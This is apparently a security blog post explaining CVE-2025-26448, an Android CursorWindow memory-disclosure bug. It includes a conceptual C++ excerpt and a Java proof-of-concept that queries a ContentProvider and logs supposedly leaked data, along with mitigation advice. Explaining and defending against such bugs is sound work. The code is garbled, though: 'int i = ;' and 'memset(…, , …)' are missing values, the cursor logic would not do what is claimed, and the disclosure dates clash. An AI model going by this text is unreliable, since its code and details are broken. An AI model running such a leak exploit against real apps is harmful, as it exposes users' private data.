---
Summary
On February 2025, a new vulnerability (CVE-2025-26448) was disclosed in Android’s CursorWindow.cpp. This bug involves an out-of-bounds read caused by uninitialized memory in the writeToParcel() function. It can let a malicious app leak parts of memory it should never access, risking information disclosure without needing extra permissions or special user interaction.
In plain terms: There’s a way rogue Android apps can steal a chunk of your recent memory because some internal data isn’t cleared before being sent between processes. This post explains exactly how it works and how it can be exploited.
Where’s the Bug?
Android’s CursorWindow is how apps pull large sets of results from SQLite databases efficiently, using IPC (inter-process communication) to shuttle data back and forth. When data is sent, the system calls the writeToParcel() method in the C++ backend.
Normally, all memory being copied is supposed to be handled carefully. But in this case, if the cursor (a grid-like row/column structure) is not totally filled up, the code will sometimes include random uninitialized memory from earlier in the process. That memory could contain sensitive data like previous app contents, form entries, or session info.
The Code Path
Here’s a simplified version of how the buggy code might look in CursorWindow.cpp (not literal, but conceptual):
status_t CursorWindow::writeToParcel(Parcel* parcel) {
// ...other code...
size_t dataSize = mRowSlotCount * mNumColumns * sizeof(FieldSlot);
parcel->writeInt32(dataSize);
// This is where uninitialized memory can get written:
parcel->write(mSlots, dataSize);
// ...other code...
return OK;
}
*What’s wrong here?* If mSlots (which stores the field data) was never fully set (imagine a slot was never assigned), it could still hold random bytes from the process memory. When write() sends the entire buffer, uninitialized areas get transmitted too!
How Could an Attacker Exploit This?
Because commonly-used Android IPC APIs (like ContentProviders returning SQLite query results) send CursorWindows between processes, any app with access to a vulnerable API could trick it into sending a cursor with lots of untouched rows or fields. The attacker then reads this data and analyzes the “extra” bytes for anything interesting.
*No root access needed. No extra permissions. Just a regular app querying a database in a slightly unusual way.*
Here’s what an exploit might look like in Java, calling into a vulnerable provider
Cursor cursor = getContentResolver().query(
uriOfVulnerableProvider,
null, // get all columns
null, // no selection
null,
null
);
// Move cursor to last empty slot to force uninitialized data out
cursor.moveToPosition(cursor.getCount() + 10);
do {
// Try to read all data
for (int i = ; i < cursor.getColumnCount(); i++) {
String data = cursor.getString(i);
Log.d("LeakedData", "Leaked: " + data);
}
} while(cursor.moveToNext());
*Note:* The actual contents may not look readable (may be garbage), but in-memory secrets (other app’s data, autofill info, etc.) could leak given the right scenario.
Mitigation and Detection
Google addressed this by making sure memory is always zeroed (memset(…, , …)) before being shared out, or by tracking exactly how much data is actually valid to copy.
References
- Android AOSP Commit - CursorWindow zero initialization
- Official Google Android Security Bulletin (Feb 2025)
- CVE-2025-26448 @ NVD
Security recommendation:
Update your devices when a security patch is available. App developers should limit returned row counts and validate CursorWindow handling if rolling custom database code.
Takeaways: Why It Matters
- No root or user interaction needed—attackers can grab sensitive memory through a simple API call.
Sensitive data is at risk: Session tokens, user input, emails from other apps, etc.
If you develop for or administer Android, patch immediately. This bug is simple to exploit and affects many devices with no visible symptoms.
*Exclusive tip: If you're a developer, always zero buffers before IPC or before returning them to untrusted code. Memory safety isn’t just about fixing crashes—it’s about defending against subtle leaks just like CVE-2025-26448.*
*Stay safe. Update early. Practice secure coding—even on native code that rides beneath your Java apps.*
Timeline
Published on: 09/04/2025 18:15:44 UTC
Last modified on: 09/08/2025 14:13:11 UTC